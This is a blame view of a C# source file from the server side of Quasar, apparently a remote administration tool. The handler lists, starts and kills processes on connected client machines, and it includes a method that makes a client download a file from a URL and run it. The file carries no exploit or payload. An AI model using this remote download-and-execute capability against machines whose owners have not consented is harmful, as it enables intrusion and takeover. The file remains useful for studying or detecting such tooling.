Quasar/Quasar.Server/Messages/TaskManagerHandler.cs

127 lines
4.6 KiB
C#
Raw Normal View History

2020-05-26 20:43:49 +00:00
using Quasar.Common.Enums;
using Quasar.Common.Messages;
2018-09-19 07:33:32 +00:00
using Quasar.Common.Models;
using Quasar.Common.Networking;
2018-10-04 19:49:24 +00:00
using Quasar.Server.Networking;
2018-09-19 07:33:32 +00:00
2018-10-04 19:49:24 +00:00
namespace Quasar.Server.Messages
2018-09-19 07:33:32 +00:00
{
public class TaskManagerHandler : MessageProcessorBase<Process[]>
{
2020-05-25 20:38:41 +00:00
/// <summary>
2020-05-26 20:43:49 +00:00
/// Represents the method that will handle the result of a process action.
2020-05-25 20:38:41 +00:00
/// </summary>
/// <param name="sender">The message processor which raised the event.</param>
2020-05-26 20:43:49 +00:00
/// <param name="action">The process action which was performed.</param>
/// <param name="result">The result of the performed process action.</param>
public delegate void ProcessActionPerformedEventHandler(object sender, ProcessAction action, bool result);
2020-05-25 20:38:41 +00:00
/// <summary>
/// Raised when a result of a started process is received.
/// </summary>
/// <remarks>
/// Handlers registered with this event will be invoked on the
/// <see cref="System.Threading.SynchronizationContext"/> chosen when the instance was constructed.
/// </remarks>
2020-05-26 20:43:49 +00:00
public event ProcessActionPerformedEventHandler ProcessActionPerformed;
2020-05-25 20:38:41 +00:00
/// <summary>
/// Reports the result of a started process.
/// </summary>
2020-05-26 20:43:49 +00:00
/// <param name="action">The process action which was performed.</param>
/// <param name="result">The result of the performed process action.</param>
private void OnProcessActionPerformed(ProcessAction action, bool result)
2020-05-25 20:38:41 +00:00
{
SynchronizationContext.Post(r =>
{
2020-05-26 20:43:49 +00:00
var handler = ProcessActionPerformed;
handler?.Invoke(this, action, (bool)r);
2020-05-25 20:38:41 +00:00
}, result);
}
2018-09-19 07:33:32 +00:00
/// <summary>
2020-05-26 20:43:49 +00:00
/// The client which is associated with this remote execution handler.
2018-09-19 07:33:32 +00:00
/// </summary>
private readonly Client _client;
/// <summary>
/// Initializes a new instance of the <see cref="TaskManagerHandler"/> class using the given client.
/// </summary>
/// <param name="client">The associated client.</param>
public TaskManagerHandler(Client client) : base(true)
{
_client = client;
}
2020-05-26 20:43:49 +00:00
public override bool CanExecute(IMessage message) => message is DoProcessResponse ||
message is GetProcessesResponse;
2018-09-19 07:33:32 +00:00
2020-05-26 20:43:49 +00:00
public override bool CanExecuteFrom(ISender sender) => _client.Equals(sender);
2018-09-19 07:33:32 +00:00
public override void Execute(ISender sender, IMessage message)
{
switch (message)
{
2020-05-26 20:43:49 +00:00
case DoProcessResponse execResp:
2020-05-25 20:38:41 +00:00
Execute(sender, execResp);
break;
2020-05-26 20:43:49 +00:00
case GetProcessesResponse procResp:
Execute(sender, procResp);
break;
2018-09-19 07:33:32 +00:00
}
}
/// <summary>
2020-05-26 20:43:49 +00:00
/// Starts a new process remotely.
2018-09-19 07:33:32 +00:00
/// </summary>
2020-05-26 20:43:49 +00:00
/// <param name="remotePath">The remote path used for starting the new process.</param>
/// <param name="isUpdate">Decides whether the process is a client update.</param>
public void StartProcess(string remotePath, bool isUpdate = false)
2018-09-19 07:33:32 +00:00
{
2020-05-26 20:43:49 +00:00
_client.Send(new DoProcessStart { FilePath = remotePath, IsUpdate = isUpdate });
2018-09-19 07:33:32 +00:00
}
/// <summary>
2020-05-26 20:43:49 +00:00
/// Downloads a file from the web and executes it remotely.
2018-09-19 07:33:32 +00:00
/// </summary>
2020-05-26 20:43:49 +00:00
/// <param name="url">The URL to download and execute.</param>
/// <param name="isUpdate">Decides whether the file is a client update.</param>
public void StartProcessFromWeb(string url, bool isUpdate = false)
2018-09-19 07:33:32 +00:00
{
2020-05-26 20:43:49 +00:00
_client.Send(new DoProcessStart { DownloadUrl = url, IsUpdate = isUpdate});
}
/// <summary>
/// Refreshes the current started processes.
/// </summary>
public void RefreshProcesses()
{
_client.Send(new GetProcesses());
2018-09-19 07:33:32 +00:00
}
/// <summary>
/// Ends a started process given the process id.
/// </summary>
/// <param name="pid">The process id to end.</param>
public void EndProcess(int pid)
{
2020-05-26 20:43:49 +00:00
_client.Send(new DoProcessEnd { Pid = pid });
2018-09-19 07:33:32 +00:00
}
2020-05-26 20:43:49 +00:00
private void Execute(ISender client, DoProcessResponse message)
2018-09-19 07:33:32 +00:00
{
2020-05-26 20:43:49 +00:00
OnProcessActionPerformed(message.Action, message.Result);
2018-09-19 07:33:32 +00:00
}
2020-05-26 20:43:49 +00:00
private void Execute(ISender client, GetProcessesResponse message)
2020-05-25 20:38:41 +00:00
{
2020-05-26 20:43:49 +00:00
OnReport(message.Processes);
2020-05-25 20:38:41 +00:00
}
2018-09-19 07:33:32 +00:00
protected override void Dispose(bool disposing)
{
2020-05-26 20:43:49 +00:00
2018-09-19 07:33:32 +00:00
}
}
}